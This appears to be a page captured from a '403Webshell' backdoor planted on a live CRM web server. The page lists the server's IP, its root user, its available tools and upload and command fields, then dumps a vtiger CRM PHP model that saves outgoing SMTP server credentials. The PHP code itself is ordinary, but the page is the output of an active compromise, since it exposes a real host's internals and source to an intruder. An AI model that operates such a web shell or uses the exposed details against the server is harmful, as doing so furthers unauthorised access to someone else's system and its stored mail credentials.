403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mequitecbeta.crmtiger.com/modules/CTMultipleSMTP/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mequitecbeta.crmtiger.com/modules/CTMultipleSMTP/models/OutgoingServer.php
<?php

class CTMultipleSMTP_OutgoingServer_Model extends Vtiger_Base_Model {

    const tableName = 'ct_multiple_smtp';

    public function getId() {
        return $this->get('id');
    }

    public function isSmtpAuthEnabled() {
        $smtp_auth_value = $this->get('smtp_auth');
        return ($smtp_auth_value == 'on' || $smtp_auth_value == 1 || $smtp_auth_value == 'true') ? true : false;
    }


    public function getSubject() {
        return 'Test mail about the mail server configuration.';
    }

    public function getBody() {
        $currentUser = Users_Record_Model::getCurrentUserModel();
        return 'Dear '.$currentUser->get('user_name').', <br><br><b> This is a test mail sent to confirm if a mail is
                actually being sent through the smtp server that you have configured. </b><br>Feel free to delete this mail.
                <br><br>Thanks  and  Regards,<br> Team vTiger <br><br>';
    }

    public function save($request){
        vimport('~~/modules/CTMultipleSMTP/mail.php');
        $currentUser = Users_Record_Model::getCurrentUserModel();
        $from_email =  $request->get('from_email_field');
        $to_email = getUserEmailId('id',$currentUser->getId());

        $subject = $this->getSubject();
        $description = $this->getBody();
        // This is added so that send_mail API will treat it as user initiated action
        $olderAction = $_REQUEST['action'];
        $_REQUEST['action'] = 'Save';
        if($to_email != ''){
            $mail_status = send_mail('Users',$to_email,$currentUser->get('user_name'),$from_email,$subject,$description,'','','','','',true,$this->getId());
        }
        $_REQUEST['action'] = $olderAction;
        if($mail_status != 1 || $mail_status == '') {
            return $mail_status;
        }else{
            $db = PearDatabase::getInstance();

            $id = $this->getId();
            $params = array();
            array_push($params, $this->get('server'),$this->get('server_port'),$this->get('server_username'),$this->get('server_password'),
                $this->isSmtpAuthEnabled(),$this->get('from_email_field'), $this->get('userid'));

            if(empty($id)) {
                $query = 'INSERT INTO '.self::tableName.'(server,server_port,server_username,server_password,smtp_auth,from_email_field, userid) VALUES(?,?,?,?,?,?,?)';
            }else{
                $query = 'UPDATE '.self::tableName.' SET server = ?, server_port= ?, server_username = ?, server_password = ?,
                    smtp_auth= ?, from_email_field=?, userid=? WHERE id = ?';
                $params[] = $id;
            }
            $db->pquery($query,$params);
            return $id;
        }
    }

    public static function getInstanceFromId($id) {
        $db = PearDatabase::getInstance();
        $query = 'SELECT * FROM '.self::tableName.' WHERE id=?';
        $params = array($id);
        $result = $db->pquery($query,$params);
        try{
            $modelClassName = Vtiger_Loader::getComponentClassName('Model', 'OutgoingServer', 'CTMultipleSMTP');
        }catch(Exception $e) {
            $modelClassName = self;
        }
        $instance = new $modelClassName();
        if($db->num_rows($result) > 0 ){
            $rowData = $db->query_result_rowdata($result,0);
            $instance->setData($rowData);
        }
        return $instance;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit